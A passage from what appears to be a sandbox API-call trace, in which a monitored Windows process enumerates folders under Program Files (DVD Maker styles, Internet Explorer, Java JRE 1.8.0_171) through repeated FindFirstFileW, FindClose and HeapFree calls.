returned 1 [0055.502] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.503] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.503] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.504] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.504] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.505] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.506] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.506] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.507] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.508] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.508] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0055.745] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0055.745] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.745] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0055.747] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0055.747] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.748] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0055.750] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0055.750] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.750] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0055.752] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0055.753] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.753] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0055.754] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0055.755] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.755] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0055.757] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0055.757] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.757] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0055.848] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0055.940] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0055.941] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0056.641] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0056.642] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0056.643] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0056.643] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0056.643] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0056.643] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.577] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.640] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0057.863] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0057.863] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0057.863] FindClose (in: hFindFile=0x4d87a0 | out: hFindFile=0x4d87a0) returned 1 [0057.863] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0057.864] FindClose (in: hFindFile=0x4d8760 | out: hFindFile=0x4d8760) returned 1 [0057.864] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a773a0 | out: hHeap=0xab0000) returned 1 [0057.865] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\*" (normalized: "c:\\program files\\internet explorer\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc6705d50, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6705d50, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8760 [0057.865] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\*" (normalized: "c:\\program files\\internet explorer\\en-us\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87a0 [0057.866] FindClose (in: hFindFile=0x4d87a0 | out: hFindFile=0x4d87a0) returned 1 [0057.866] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0057.867] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\*" (normalized: "c:\\program files\\internet explorer\\signup\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87a0 [0057.867] FindClose (in: hFindFile=0x4d87a0 | out: hFindFile=0x4d87a0) returned 1 [0057.867] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0057.867] FindClose (in: hFindFile=0x4d8760 | out: hFindFile=0x4d8760) returned 1 [0057.867] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a773a0 | out: hHeap=0xab0000) returned 1 [0057.867] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\*" (normalized: "c:\\program files\\java\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d1785a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0xc6b303d0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6b303d0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8760 [0057.867] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d1785a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4d98ae40, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4d98ae40, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87a0 [0057.868] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\bin\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\bin\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x442afc00, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44798960, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44798960, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0057.869] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\bin\\dtplugin\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\bin\\dtplugin\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44348180, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44348180, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44348180, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.869] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.869] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0057.870] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\bin\\plugin2\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\bin\\plugin2\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x447003e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x447003e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x447003e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.870] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.870] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0057.871] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\bin\\server\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\bin\\server\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x447003e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x469d05a0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x469d05a0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.871] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.871] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0057.871] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0057.871] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0057.871] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44798960, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x45fb2820, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x45fb2820, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0057.872] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\amd64\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\amd64\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44798960, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44798960, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44798960, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.872] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.872] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0057.872] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\applet\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\applet\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44798960, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44798960, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44798960, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.872] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.872] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0057.872] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\cmm\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\cmm\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44798960, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x447beac0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x447beac0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.872] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.872] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0057.872] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x447beac0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x447beac0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x447beac0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.874] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.874] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0057.875] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\ext\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\ext\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x447beac0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x46070f00, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x46070f00, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.875] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.876] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0057.876] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\fonts\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\fonts\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4487d1a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4487d1a0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4487d1a0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.887] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.892] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0057.907] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4487d1a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4487d1a0, 